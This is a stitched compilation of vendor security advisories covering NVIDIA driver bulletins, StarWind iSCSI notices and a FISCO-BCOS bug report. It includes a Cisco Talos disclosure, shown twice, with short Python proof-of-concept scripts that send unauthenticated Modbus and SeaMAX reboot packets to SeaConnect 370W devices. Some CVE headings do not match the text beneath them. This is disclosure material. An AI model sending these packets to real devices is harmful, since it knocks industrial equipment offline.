**How do I get the update for Microsoft Teams for iOS?**

1.  Tap the **Settings** icon
2.  Tap the\*\* iTunes & App Store\*\*
3.  Turn on AUTOMATIC DOWNLOADS for Apps

**Alternatively**

1.  Tap the\*\* App Store\*\* icon
2.  Scroll down to find Microsoft Teams
3.  Tap the **Update** button

CVE-2022-21965: Microsoft Teams Denial of Service Vulnerability

**What .NET component is affected by this denial of service vulnerability?**

This vulnerability affects applications that utilize the Kestrel web server when processing certain HTTP/2 and HTTP/3 requests.

CVE-2022-21986: .NET Denial of Service Vulnerability

NVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel driver, where improper handling of insufficient permissions or privileges may allow an unprivileged local user limited write access to protected memory, which can lead to denial of service.

**Details**

This section provides a summary of potential vulnerabilities  that this security update addresses and their impact. Descriptions use CWE™, and base scores and vectors use CVSS v3.1 standards.

**NVIDIA GPU Display Driver**

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2022‑21813

NVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel driver, where improper handling of insufficient permissions or privileges may allow an unprivileged local user limited write access to protected memory, which can lead to denial of service.

6.1

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

CVE‑2022‑21814

NVIDIA GPU Display Driver for Linux contains a vulnerability in the kernel driver package, where improper handling of insufficient permissions or privileges may allow an unprivileged local user limited write access to protected memory, which can lead to denial of service.

6.1

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

CVE‑2022‑21815  

NVIDIA GPU Display Driver for Windows contains a vulnerability in the kernel mode layer (nvlddmkm.sys) handler for private IOCTLs where a NULL pointer dereference in the kernel, created within user mode code, may lead to a denial of service in the form of a system crash.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

**NVIDIA vGPU Software**

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2022‑21816

NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (nvidia.ko), where a user in the guest OS can cause a GPU interrupt storm on the hypervisor host, leading to a denial of service.

5.5

AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

The NVIDIA risk assessment is based on an average of risk across a diverse set of installed systems and may not represent the true risk to your local installation. NVIDIA recommends evaluating the risk to your specific configuration.

**Security Updates for NVIDIA GPU Display Driver**

The following table lists the NVIDIA software products affected, versions affected, and the updated version available from nvidia.com that includes this security update. Download the updates from the NVIDIA Driver Downloads page.

**Windows **

**CVE IDs Addressed**

**Software Product**

**Operating System**

**Driver Branch**

**Affected Driver Versions**

**Updated Driver Version**

CVE‑2022‑21815

GeForce

Windows

R510

All versions prior to 511.65

511.65

Windows 10 and 11

R470

All drivers versions prior to 472.98 for support of GeForce Kepler desktop

472.98

Windows 7 and 8._x_

R470

All drivers versions prior to 473.04

473.04

Studio

Windows

R510

All driver versions prior to 511.65

511.65

NVIDIA RTX/Quadro, NVS

Windows

R510

All driver versions prior to 511.65 

511.65

R470

All drivers versions prior to 472.98

472.98

Tesla

Windows

R510

All drivers versions prior to 511.65

511.65 

R470

All drivers versions prior to 472.98

472.98

R450

All drivers versions prior to 453.37

453.37

**Linux**

**CVE IDs Addressed**

**Software Product**

**Operating System**

**Driver Branch**

**Affected Driver Versions**

**Updated Driver Version**

CVE‑2022‑21813  
CVE‑2022‑21814

GeForce

Linux

R510

All drivers versions prior to 510.47.03  

510.47.03

R470

All drivers versions prior to 470.103.01

470.103.01

NVIDIA RTX/ Quadro, NVS

Linux

R510

All drivers versions prior to 510.47.03

510.47.03

R470

All drivers versions prior to 470.103.01

470.103.01

Tesla

Linux

R510

All drivers versions prior to 510.47.03 

510.47.03

R470

All drivers versions prior to 470.103.01

470.103.01

**Notes:**

*   Your computer hardware vendor may provide you with Windows GPU display driver versions including 511.66, 497.30, 472.91, and 453.35 which also contain the security updates.
*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, we recommend upgrading to the latest branch release.

**Security Updates for NVIDIA vGPU Software**

The following table lists the NVIDIA software products affected, versions affected, and the updated version. Log in to the NVIDIA Enterprise Application Hub to download updates from the NVIDIA Licensing Portal.

**CVE IDs Addressed**

**vGPU Software Component**

**Operating System**

**Affected Versions**

**Updated Version**

**vGPU Software**

**Driver**

**vGPU Software**

**Driver**

CVE‑2022‑21815

vGPU software (guest driver)

Windows

All versions prior to and including 13.1

472.39

13.2

472.98

All versions prior to and including 11.6

453.23

11.7

453.37

All versions prior to and including 8.9

427.60

8.10

427.71

CVE‑2022‑21813

vGPU software (guest driver)

Linux

All versions prior to and including 13.1

470.82.00

13.2

470.103.01

All versions prior to and including 11.6

450.156.00

11.7

450.172.01

All versions prior to and including 8.9

418.226.00

8.10

418.240

CVE‑2022‑21816

vGPU software (Virtual GPU Manager)

Citrix Hypervisor,  
VMware vSphere,  
Red Hat Enterprise Linux with KVM,  
Ubuntu,  
Nutanix AHV

All versions prior to and including 13.1

470.82

13.2

470.103.02

All versions prior to and including 11.6

450.156

11.7

450.172

All versions prior to and including 8.9

418.226.00

8.10

418.240

**Notes:**

*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, we recommend upgrading to the latest branch release.

**Security Updates for NVIDIA Cloud Gaming**

The following table lists the NVIDIA software products affected, versions affected, and the updated version. Log in to the NVIDIA Enterprise Application Hub to download updates from the NVIDIA Licensing Portal.

**CVE IDs Addressed**

**Software Product**

**Operating System**

**Affected Versions**

**Updated Version**

**Cloud Gaming Software**

**Driver**

**Cloud Gaming Software**

**Driver**

CVE‑2022‑21815

Cloud Gaming Guest Driver 

Windows

All versions prior to and including the November 2021 Cloud Gaming Release

497.09

January 2022 Cloud Gaming Release

511.65

CVE‑2022‑21813

Cloud Gaming Guest Driver

Linux

All versions prior to and including the November 2021 Cloud Gaming Release

495.50

January 2022 Cloud Gaming Release

510.47.03

CVE‑2022‑21816

Cloud Gaming Virtual GPU Manager

Citrix Hypervisor,  
Red Hat Enterprise Linux with KVM

All versions prior to and including the November 2021 Cloud Gaming Release

495.50

January 2022 Cloud Gaming Release

510.47.03

**Notes**:

*   The table above may not be a comprehensive list of all affected supported versions or branch releases and may be updated as more information becomes available.
*   Earlier software branch releases that support these products may also be affected. If you are using an earlier branch release for which an update version is not listed above, we recommend upgrading to the latest branch release.

**Mitigations**

None. See Security Updates for NVIDIA GPU Display Driver, Security Updates for NVIDIA vGPU Software, or Security Updates for NVIDIA Cloud Gaming for the version to install.

**Get the Most Up to Date Product Security Information**

Visit the NVIDIA Product Security page to

*   Subscribe to security bulletin notifications
*   See the current list of NVIDIA security bulletins 
*   Report a potential security issue in any NVIDIA supported product
*   Learn more about the vulnerability management process followed by the NVIDIA Product Security Incident Response Team (PSIRT) 

**Revision History**

  

**Revision**

**Date**

**Description**

1.0

February 1, 2022

Initial release

**Support**

If you have any questions about this security bulletin, contact NVIDIA Support.

**Frequently Asked Questions (FAQs)**

How do I determine which NVIDIA display driver version is currently installed on my PC?

**Disclaimer**

ALL NVIDIA INFORMATION, DESIGN SPECIFICATIONS, REFERENCE BOARDS, FILES, DRAWINGS, DIAGNOSTICS, LISTS, AND OTHER DOCUMENTS (TOGETHER AND SEPARATELY, “MATERIALS”) ARE BEING PROVIDED “AS IS.” NVIDIA MAKES NO WARRANTIES, EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE MATERIALS, AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OR CONDITION OF TITLE, MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT, ARE HEREBY EXCLUDED TO THE MAXIMUM EXTENT PERMITTED BY LAW.

Information is believed to be accurate and reliable at the time it is furnished. However, NVIDIA Corporation assumes no responsibility for the consequences of use of such information or for any infringement of patents or other rights of third parties that may result from its use. No license is granted by implication or otherwise under any patent or patent rights of NVIDIA Corporation. Specifications mentioned in this publication are subject to change without notice. This publication supersedes and replaces all information previously supplied. NVIDIA Corporation products are not authorized for use as critical components in life support devices or systems without express written approval of NVIDIA Corporation.

CVE-2022-21813: Security Bulletin: NVIDIA GPU Display Driver - February 2022

NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (nvidia.ko), where a user in the guest OS can cause a GPU interrupt storm on the hypervisor host, leading to a denial of service.

CVE-2022-21816: Error | NVIDIA

CVE-2022-21816: Security Bulletin: NVIDIA GPU Display Driver - February 2022

FISCO-BCOS release-3.0.0-rc2 contains a denial of service vulnerability. Some transactions may not be committed successfully, and malicious users may use this to achieve double-spending attacks.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Transactions fail to be committed #2124**

Open

fCorleone opened this issue

Jan 12, 2022

· 1 comment

Assignees

![@cyjseagull](https://avatars.githubusercontent.com/u/4343461?s=40&v=4)

**Comments**

![@fCorleone](https://avatars.githubusercontent.com/u/22519865?s=88&u=051868d1e1a8a939ede5a1c6818dd528ce636a3c&v=4)

**Describe the bug**  
I use the testing programs to send 500000 transactions to a group with 4 nodes, it seems that over 100 of the transactions cannot be committed successfully.  
![wecom-temp-675e4c5843084c7034a92e2e2b2a83be](https://user-images.githubusercontent.com/22519865/149072866-b8423c2e-ae7c-47ed-9732-4e810a38e9ee.png)

**To Reproduce**  
Steps to reproduce the behavior:

1.  Setup a group with 4 nodes, each with a small size of tx pool.
2.  Constantly sending txs to the group
3.  The tx pool of some nodes are full and txs forwarded from other nodes are rejected
4.  If the tx pool of the leader node is empty and the txpool of less than f nodes are empty, the txs of non-leader node will not be handled, the bug will be triggered.

**Expected behavior**  
All transactions should be commited successfully.

**Environment (please complete the following information):**

*   OS: Ubuntu 20.04
*   FISCO BCOS release-3.0.0-rc2

![@fCorleone](https://avatars.githubusercontent.com/u/22519865?s=60&u=051868d1e1a8a939ede5a1c6818dd528ce636a3c&v=4) fCorleone changed the title Transactions fail to be committed and the consensus process is stuck Transactions fail to be committed

Jan 12, 2022

![@cyjseagull](https://avatars.githubusercontent.com/u/4343461?s=88&v=4)

**Bug analysis**

1.  After the txppool is full, the current logic will reject the txs forwarded by other nodes from P2P, resulting in some txs only exist in less than f nodes
2.  As the stress test progresses, txs in the txpool with more than (2\*f+1) nodes will be processed, causes the txpool of more than (2f+1) nodes are empty and less than (f) nodes are non-empty.
3.  If the subsequent consensus leader does not belong to the non-empty node combination, it will not seal and generate new block, resulting in some transactions not being processed.

**Solution**

Please refer to PR #2123

*   Even if the node txpool is full, accept txs forwarded from P2P by other nodes, ensure that txs received by some consensus node are broadcast to all other consensus nodes that may act as leaders

2 participants

 ![@cyjseagull](https://avatars.githubusercontent.com/u/4343461?s=52&v=4)![@fCorleone](https://avatars.githubusercontent.com/u/22519865?s=52&v=4)

CVE-2021-46359: Transactions fail to be committed · Issue #2124 · FISCO-BCOS/FISCO-BCOS

StarWind iSCSI SAN before 6.0 build 2013-03-20 allows a memory leak.

**Title:** CVE-2013-20004 Denial of service in StarWind Products

**Note:** StarWind will continue to update this vulnerability as new information becomes available.

**Vulnerability ID:** SW-20130215-0001

**Version:** 1.0

**Date:** 2013-02-15

**Status:** Fixed

**CVEs:** CVE-2013-20004

*   Overview
*   Affected Products
*   Remediation
*   Revision History

****Summary****

It is possible to set service in a state when it exhausts the server memory.

****Impact** **

When client Initiator is configured to connect to non-existent target, service does not limit number of connection attempts and leaks memory on each connection attempt.  
It can lead to non-functional iSCSI Target when significant amount of server memory leaked.

****Vulnerability Scoring****

CVE

CVSS 2.0 Score

CVSS 3.x Score

–

–

–

****Affected Products:****

iSCSI SAN (Windows Native)  Version 6.0, build 2013-01-16

**Not affected products:**

StarWind VSAN for Hyper-V (all versions)

StarWind VSAN for vSphere (all versions)

StarWind SA (any setup)

StarWind VTLA (any setup)

StarWind VTL component (all versions)

StarWind V2V (all versions)

StarWind Tape Redirector component (all versions)

StarWind Deduplication Analyzer (all versions)

StarWind rPerf (all versions)

StarWind iSCSI Accelerator (all versions)

****Software Versions and Fixes****

iSCSI SAN (Windows Native) Version 6.0, build 2013-01-16

****Workaround****

iSCSI SAN (Windows Native) Version 6.0, build 2013-03-20

****Obtaining Software Fixes** **

Software updates will be available in StarWind release notes – https://www.starwindsoftware.com/release-notes-build. To update the software, perform the steps described at the following link  – https://knowledgebase.starwindsoftware.com/guidance/upgrading-from-any-starwind-version-to-any-starwind-version/ or contact support to perform an update. You can submit a support request using the following link https://www.starwindsoftware.com/support-form or contact Support directly via email support@starwind.com or via phone +1 617 829 4499.

****Status of Notice****

**Final**

StarWind will continue to update information regarding this vulnerability as new details become available.

This vulnerability article should be considered as the single source of current, up-to-date, authorized and accurate information posted by StarWind Software.

**Revision History** 

Revision #

Date

Comments

1.0

2013-02-15

Initial Public Release and Final Status

CVE-2013-20004: CVE-2013-20004 Denial of service in StarWind Products

StarWind iSCSI SAN before 3.5 build 2007-08-09 allows socket exhaustion.

**Title:** CVE-2007-20001 Denial of service in StarWind Products

**Note:** StarWind will continue to update this vulnerability as new information becomes available.

**Vulnerability ID:** SW-20070601-0001

**Version:** 1.0

**Date:** 2007-06-01

**Status:** Fixed

**CVEs:** CVE-2007-20001

*   Overview
*   Affected Products
*   Remediation
*   Revision History

****Summary****

Standard iSCSI Intiaitor operation can be scripted to exhaust socket handles on the server.

****Impact** **

It can lead to denial of service.

****Vulnerability Scoring****

CVE

CVSS 2.0 Score

CVSS 3.x Score

–

–

–

****Affected Products:****

iSCSI SAN (Windows Native) Version 3.2.2 build 2007-02-20

**Not affected products:**

StarWind VSAN for Hyper-V (all versions)

StarWind VSAN for vSphere (all versions)

StarWind SA (any setup)

StarWind VTLA (any setup)

StarWind VTL component (all versions)

StarWind V2V (all versions)

StarWind Tape Redirector component (all versions)

StarWind Deduplication Analyzer (all versions)

StarWind rPerf (all versions)

StarWind iSCSI Accelerator (all versions)

****Software Versions and Fixes****

iSCSI SAN (Windows Native) Version 3.2.2 build 2007-02-20

****Workaround****

iSCSI SAN (Windows Native) Version 3.5 build 2007-08-09

****Obtaining Software Fixes** **

Software updates will be available in StarWind release notes – https://www.starwindsoftware.com/release-notes-build. To update the software, perform the steps described at the following link  – https://knowledgebase.starwindsoftware.com/guidance/upgrading-from-any-starwind-version-to-any-starwind-version/ or contact support to perform an update. You can submit a support request using the following link https://www.starwindsoftware.com/support-form or contact Support directly via email support@starwind.com or via phone +1 617 829 4499.

****Status of Notice****

**Final**

StarWind will continue to update information regarding this vulnerability as new details become available.

This vulnerability article should be considered as the single source of current, up-to-date, authorized and accurate information posted by StarWind Software.

**Revision History** 

Revision #

Date

Comments

1.0

2007-06-01

Initial Public Release and Final Status

CVE-2007-20001: CVE-2007-20001 Denial of service in StarWind Products

A denial of service vulnerability exists in the Modbus configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**Summary**

Two denial of service vulnerabilities exist in the Modbus/SeaMAX Remote Configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger these vulnerabilities.

**Tested Versions**

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

**Product URLs**

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

**CVSSv3 Score**

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W can be configured through multiple independent means: HTTP, Modbus and the SeaMAX Ethernet API. Of these configuration interfaces, only the HTTP interface is enabled by default, and it is also the only one that enforces any level of authentication. Both the Modbus and SeaMAX Ethernet API interfaces are accessible via unauthenticated network requests (Modbus via TCP 502, SeaMAX Ethernet API via UDP 30718) when they are enabled. Certain modifications to the device settings require a reboot before taking effect, and so each method provides a mechanism to reboot the device. An attacker with network access to either of these ports can consistently render the device unusable by sending a properly formatted ‘Reboot’ request packet.

**CVE-2021-21964 - Unauthenticated Modbus Interface**

When the Modbus service has been enabled, a socket is bound to TCP port 502, and properly formatted Modbus requests are dispatched to a function located at offset 0x121B4, which we have titled DispatchModbusRequest. This function takes as its parameters a pointer to the Unit Identifier field of the MBAP header (located one byte ahead of the PDU) and the value of the length field provided in the MBAP. On top of the standard Modbus function codes, this device has support for several proprietary function codes as well, which can be seen below.

    int __fastcall DispatchModbusRequest(char *buffer, int buffer_len)
    {
      int fcode; // r0
    
      if ( buffer_len < 2 )
        return 0;
    
      fcode = buffer[1];
    
      switch (fcode)
      {
          case 0x01:
              return mbReadCoil(buffer, buffer_len);
          case 0x02:
              return mbReadDiscreteInput(buffer, buffer_len);
          case 0x03:
              return mbReadHoldingRegisters(buffer);
          case 0x04:
              return mbReadInputRegisters(buffer, buffer_len);
          case 0x05:
              return mbWriteSingleCoil(buffer, buffer_len);
          case 0x06:
              return mbWriteSingleHoldingRegister(buffer, buffer_len);
          case 0x0F:
              return mbWriteMultipleCoils(buffer, buffer_len);
          case 0x13:
              Reboot();  // noreturn
          case 0x45:
              return mbHandleFunction45(buffer);
          case 0x48:
              return mbChangeMacAddress(buffer, buffer_len);
          case 0x64:
              return mbWriteAnalogInputModes(buffer, buffer_len);
          case 0x65:
              return mbReadAnalogInputModes(buffer);
          case 0x66:
              return mbGetFirmwareVersion(buffer);
          default:
              return ModbusError(buffer, 1);
      }
    }
    

For this device, the modbus server provides access to manipulate or view the status of digital inputs and outputs, analog input readings and their operation modes, the device’s MAC address and firmware versions, as well as issue a Reboot request.

In order to render this device relatively unusable, an attacker need only issue Modbus requests for function 0x13 every time it sees the device reconnect to the network.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('<target>', 502))
    s.send(b'\x00\x00\x00\x00\x00\x02\x00\x13')
    

**CVE-2021-21965 - Unauthenticated SeaMAX Ethernet API**

The SeaMAX Ethernet API can also be used for device configuration. Commonly, this interaction will occur from within the provided SeaLevel software (“SeaMAX Ethernet Configuration” and “MaxSSD”) or from software built using the SeaMAX SDK. The SeaMAX Ethernet API is exposed on UDP port 30718 and is rather straightforward. Included below are the relevant portions of the function responsible for parsing and dispatching incoming requests. The portions we care about are contained within what we’ve termed the RUN state.

    void HandleSeaMAXAPIRequest()
    {
      ...
      switch (global_SeaMAXAPI_State) {
          case INIT:
            // Initialization of global_SeaMAXAPI_Socket, bound to UDP 30718
            ...
            break;
            
          case RUN:
            buffer = global_SeaMAX_recv_buffer;
            length = recvfrom(global_SeaMAXAPI_Socket, buffer, 150, 0, &src_addr, &addrlen);
            if ( length > 0 ) {
              if ( length >= 4 && !buffer[0] && !buffer[2]) {
                // Packet must be 4 bytes or larger, and the 0th and 2nd bytes *must* be 0x00
                switch ( buffer[3] )  // Function Code is the 3rd byte
                {
                  case 0xC0:
                    HandleWriteSetupRecord0(buffer, sock, &from);
                    break;
                  case 0xC3:
                    HandleWriteSetupRecord3(buffer, sock, &from);
                    break;
                  case 0xE0:
                    HandleQuerySetupRecord0(buffer, sock, &from);
                    break;
                  case 0xE3:
                    HandleQuerySetupRecord3(buffer, sock, &from);
                    break;
                  case 0xF6:
                    HandleFwVersionRequest(buffer, sock, &from);
                    break;
                  default:
                    Report("E: UNKNOWN(buffer[3] = 0x%02X, length=%d)\r\n", buffer[3], length);
                    break;
                }
              }
            }
            break;
    
          case STOP:
            // Tear down global_SeaMAXAPI_Socket
            ...
            break;
      }
      ...
    }
    

For a request to be appropriately dispatched, it must meet a handful of requirements: 1. It must be at least four bytes long 2. The 0th and 2nd bytes must be null 3. The 3rd byte must be one of {0xC0, 0xC3, 0xE0, 0xE3}

In particular, the HandleWriteSetupRecord0 and HandleWriteSetupRecord3 allow a remote user to configure settings such as device name, static IP address, DHCP options, etc. If the configuration change made by the remote user necessitates a device reboot, then the first byte of the request will be set to zero as well.

As a reference, we include a decompilation of the HandleWriteSetupRecord3 function.

    void HandleWriteSetupRecord3(char *buffer, int sockfd, SlInAddr_t *from_addr)
    {
      if ( IsSeaMAXEthernetAPIEnabled() ) {
        Report("I: Write Setup Record 3\r\n");
        buffer[3] = 0xB3;  // buffer is edited in place to serve as the response buffer, so set the 'response' code to 0xC3 - 0x10
        memset(global_DeviceName[2], '\0', 8);  // Empty the device name field, after the first type bytes ('SL')
        memcpy(global_DeviceName[2], buffer[106], 7);  // Copy the new device name out of the request
        global_DeviceNameHasChanged = 1;
        SetDeviceName();
        sendto(sockfd, buffer, 4, 0, &from_addr, 4);
        ...  // Error handling related to sendto failures
        if ( !buffer[1] )
            Reboot();
      }
    }
    

Note the final conditional check, where the first byte (zero-indexed) of the packet is checked to see if a reboot has been requested.

Similar to the modbus reboot function, a remote attacker can render a device relatively unusable by submitting properly-formed SeaMAX requests that will cause the device to reboot. Similarly, an attacker could potentially make breaking changes to a device’s network configuration, such as enabling or disabling DHCP.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(b'\x00\x00\x00\xC3', ('<target_ip>', 30718))
    

**Timeline**

2021-10-21 - Initial vendor contact  
2021-10-26 - Vendor disclosure  
2022-02-01 - Public Release  

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

CVE-2021-21964: TALOS-2021-1392 || Cisco Talos Intelligence Group

**Summary**

Two denial of service vulnerabilities exist in the Modbus/SeaMAX Remote Configuration functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. Specially-crafted network packets can lead to denial of service. An attacker can send a malicious packet to trigger these vulnerabilities.

**Tested Versions**

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

**Product URLs**

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

**CVSSv3 Score**

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W can be configured through multiple independent means: HTTP, Modbus and the SeaMAX Ethernet API. Of these configuration interfaces, only the HTTP interface is enabled by default, and it is also the only one that enforces any level of authentication. Both the Modbus and SeaMAX Ethernet API interfaces are accessible via unauthenticated network requests (Modbus via TCP 502, SeaMAX Ethernet API via UDP 30718) when they are enabled. Certain modifications to the device settings require a reboot before taking effect, and so each method provides a mechanism to reboot the device. An attacker with network access to either of these ports can consistently render the device unusable by sending a properly formatted ‘Reboot’ request packet.

**CVE-2021-21964 - Unauthenticated Modbus Interface**

When the Modbus service has been enabled, a socket is bound to TCP port 502, and properly formatted Modbus requests are dispatched to a function located at offset 0x121B4, which we have titled `DispatchModbusRequest`. This function takes as its parameters a pointer to the Unit Identifier field of the MBAP header (located one byte ahead of the PDU) and the value of the length field provided in the MBAP. On top of the standard Modbus function codes, this device has support for several proprietary function codes as well, which can be seen below.

    int __fastcall DispatchModbusRequest(char *buffer, int buffer_len)
    {
      int fcode; // r0
    
      if ( buffer_len < 2 )
        return 0;
    
      fcode = buffer[1];
    
      switch (fcode)
      {
          case 0x01:
              return mbReadCoil(buffer, buffer_len);
          case 0x02:
              return mbReadDiscreteInput(buffer, buffer_len);
          case 0x03:
              return mbReadHoldingRegisters(buffer);
          case 0x04:
              return mbReadInputRegisters(buffer, buffer_len);
          case 0x05:
              return mbWriteSingleCoil(buffer, buffer_len);
          case 0x06:
              return mbWriteSingleHoldingRegister(buffer, buffer_len);
          case 0x0F:
              return mbWriteMultipleCoils(buffer, buffer_len);
          case 0x13:
              Reboot();  // noreturn
          case 0x45:
              return mbHandleFunction45(buffer);
          case 0x48:
              return mbChangeMacAddress(buffer, buffer_len);
          case 0x64:
              return mbWriteAnalogInputModes(buffer, buffer_len);
          case 0x65:
              return mbReadAnalogInputModes(buffer);
          case 0x66:
              return mbGetFirmwareVersion(buffer);
          default:
              return ModbusError(buffer, 1);
      }
    }
    

For this device, the modbus server provides access to manipulate or view the status of digital inputs and outputs, analog input readings and their operation modes, the device’s MAC address and firmware versions, as well as issue a Reboot request.

In order to render this device relatively unusable, an attacker need only issue Modbus requests for function 0x13 every time it sees the device reconnect to the network.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('<target>', 502))
    s.send(b'\x00\x00\x00\x00\x00\x02\x00\x13')
    

**CVE-2021-21965 - Unauthenticated SeaMAX Ethernet API**

The SeaMAX Ethernet API can also be used for device configuration. Commonly, this interaction will occur from within the provided SeaLevel software (“SeaMAX Ethernet Configuration” and “MaxSSD”) or from software built using the SeaMAX SDK. The SeaMAX Ethernet API is exposed on UDP port 30718 and is rather straightforward. Included below are the relevant portions of the function responsible for parsing and dispatching incoming requests. The portions we care about are contained within what we’ve termed the `RUN` state.

    void HandleSeaMAXAPIRequest()
    {
      ...
      switch (global_SeaMAXAPI_State) {
          case INIT:
            // Initialization of global_SeaMAXAPI_Socket, bound to UDP 30718
            ...
            break;
            
          case RUN:
            buffer = global_SeaMAX_recv_buffer;
            length = recvfrom(global_SeaMAXAPI_Socket, buffer, 150, 0, &src_addr, &addrlen);
            if ( length > 0 ) {
              if ( length >= 4 && !buffer[0] && !buffer[2]) {
                // Packet must be 4 bytes or larger, and the 0th and 2nd bytes *must* be 0x00
                switch ( buffer[3] )  // Function Code is the 3rd byte
                {
                  case 0xC0:
                    HandleWriteSetupRecord0(buffer, sock, &from);
                    break;
                  case 0xC3:
                    HandleWriteSetupRecord3(buffer, sock, &from);
                    break;
                  case 0xE0:
                    HandleQuerySetupRecord0(buffer, sock, &from);
                    break;
                  case 0xE3:
                    HandleQuerySetupRecord3(buffer, sock, &from);
                    break;
                  case 0xF6:
                    HandleFwVersionRequest(buffer, sock, &from);
                    break;
                  default:
                    Report("E: UNKNOWN(buffer[3] = 0x%02X, length=%d)\r\n", buffer[3], length);
                    break;
                }
              }
            }
            break;
    
          case STOP:
            // Tear down global_SeaMAXAPI_Socket
            ...
            break;
      }
      ...
    }
    

For a request to be appropriately dispatched, it must meet a handful of requirements: 1. It must be at least four bytes long 2. The 0th and 2nd bytes must be null 3. The 3rd byte must be one of `{0xC0, 0xC3, 0xE0, 0xE3}`

In particular, the `HandleWriteSetupRecord0` and `HandleWriteSetupRecord3` allow a remote user to configure settings such as device name, static IP address, DHCP options, etc. If the configuration change made by the remote user necessitates a device reboot, then the first byte of the request will be set to zero as well.

As a reference, we include a decompilation of the `HandleWriteSetupRecord3` function.

    void HandleWriteSetupRecord3(char *buffer, int sockfd, SlInAddr_t *from_addr)
    {
      if ( IsSeaMAXEthernetAPIEnabled() ) {
        Report("I: Write Setup Record 3\r\n");
        buffer[3] = 0xB3;  // buffer is edited in place to serve as the response buffer, so set the 'response' code to 0xC3 - 0x10
        memset(global_DeviceName[2], '\0', 8);  // Empty the device name field, after the first type bytes ('SL')
        memcpy(global_DeviceName[2], buffer[106], 7);  // Copy the new device name out of the request
        global_DeviceNameHasChanged = 1;
        SetDeviceName();
        sendto(sockfd, buffer, 4, 0, &from_addr, 4);
        ...  // Error handling related to sendto failures
        if ( !buffer[1] )
            Reboot();
      }
    }
    

Note the final conditional check, where the first byte (zero-indexed) of the packet is checked to see if a reboot has been requested.

Similar to the modbus reboot function, a remote attacker can render a device relatively unusable by submitting properly-formed SeaMAX requests that will cause the device to reboot. Similarly, an attacker could potentially make breaking changes to a device’s network configuration, such as enabling or disabling DHCP.

**Exploit Proof of Concept**

    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(b'\x00\x00\x00\xC3', ('<target_ip>', 30718))
    

**Timeline**

2021-10-26 - Vendor Disclosure  
2022-01-27 - Vendor Patched  
2022-02-01 - Public Release

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

Tag

#dos